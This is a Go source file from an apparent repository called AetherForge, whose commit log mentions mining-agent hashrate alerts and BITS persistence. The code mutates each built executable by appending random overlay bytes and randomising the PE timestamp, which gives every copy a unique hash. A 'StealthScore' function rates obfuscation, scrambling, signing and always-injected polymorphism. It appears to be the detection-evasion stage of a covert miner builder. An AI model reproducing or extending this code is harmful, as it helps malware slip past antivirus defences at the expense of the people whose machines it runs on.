Files
AetherForge/server/internal/builder/scramble.go
AetherForge d52479c9a6 feat: Telegram fleet alerts, forge sigil scramble, UI polish, agent ops
- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help
- Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete
- Sigil scramble post-forge uniquification and Dispense Reveal ceremony
- Full system check, desktop push, BITS/host-binary persistence, Path Tracer
- Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav
- README documents alerts, sigil scramble, and pack-usb workflow
- USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
2026-06-03 20:32:59 -07:00

121 lines
2.7 KiB
Go
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
package builder
import (
"crypto/sha256"
"encoding/binary"
"encoding/hex"
"fmt"
"hash/fnv"
"io"
"math/rand"
"os"
"path/filepath"
"strings"
"time"
)
const sigilOverlayMagic = "AFSC\x01"
// ApplySigilScramble mutates the built binary so each dispense has a unique on-disk
// signature (overlay entropy + optional PE timestamp). Does not change runtime logic.
func ApplySigilScramble(path, buildID string) (fingerprint string, err error) {
if path == "" {
return "", fmt.Errorf("empty path")
}
data, err := os.ReadFile(path)
if err != nil {
return "", err
}
if len(data) == 0 {
return "", fmt.Errorf("empty binary")
}
seed := strings.TrimSpace(buildID)
if seed == "" {
seed = fmt.Sprintf("%d", time.Now().UnixNano())
}
rng := scrambleRNG(seed)
if isPEExecutable(path, data) {
data = patchPETimestamp(data, rng)
}
overlay := buildSigilOverlay(seed, rng)
data = append(data, overlay...)
if err := os.WriteFile(path, data, 0755); err != nil {
return "", err
}
sum := sha256.Sum256(data)
fingerprint = hex.EncodeToString(sum[:8])
return fingerprint, nil
}
func isPEExecutable(path string, data []byte) bool {
if !strings.EqualFold(filepath.Ext(path), ".exe") {
return false
}
return len(data) > 64 && data[0] == 'M' && data[1] == 'Z'
}
// patchPETimestamp adjusts the COFF header timestamp (bytes 8-11 after MZ).
func patchPETimestamp(data []byte, rng *rand.Rand) []byte {
out := make([]byte, len(data))
copy(out, data)
peOff := int(binary.LittleEndian.Uint32(out[0x3c:0x40]))
if peOff < 0 || peOff+8 > len(out) {
return out
}
if string(out[peOff:peOff+4]) != "PE\x00\x00" {
return out
}
ts := uint32(time.Now().Unix()) ^ uint32(rng.Intn(1<<20))
binary.LittleEndian.PutUint32(out[peOff+8:peOff+12], ts)
return out
}
func buildSigilOverlay(seed string, rng *rand.Rand) []byte {
padLen := 8192 + rng.Intn(57344)
buf := make([]byte, len(sigilOverlayMagic)+len(seed)+2+padLen)
copy(buf, sigilOverlayMagic)
buf[len(sigilOverlayMagic)] = byte(len(seed) & 0xff)
copy(buf[len(sigilOverlayMagic)+1:], []byte(seed))
off := len(sigilOverlayMagic) + 1 + len(seed)
for i := 0; i < padLen; i++ {
buf[off+i] = byte(rng.Intn(256))
}
return buf
}
func scrambleRNG(seed string) *rand.Rand {
h := fnv.New64a()
_, _ = io.WriteString(h, seed)
return rand.New(rand.NewSource(int64(h.Sum64())))
}
// StealthScore estimates how many uniqueness layers were applied (0100).
func StealthScore(obfuscated, scrambled, signed bool) int {
score := 35 // polymorph is always injected at compile time
if obfuscated {
score += 30
}
if scrambled {
score += 20
}
if signed {
score += 15
}
if score > 100 {
return 100
}
return score
}
func shouldSigilScramble(req *BuildRequest) bool {
if req.SigilScramble {
return true
}
return false
}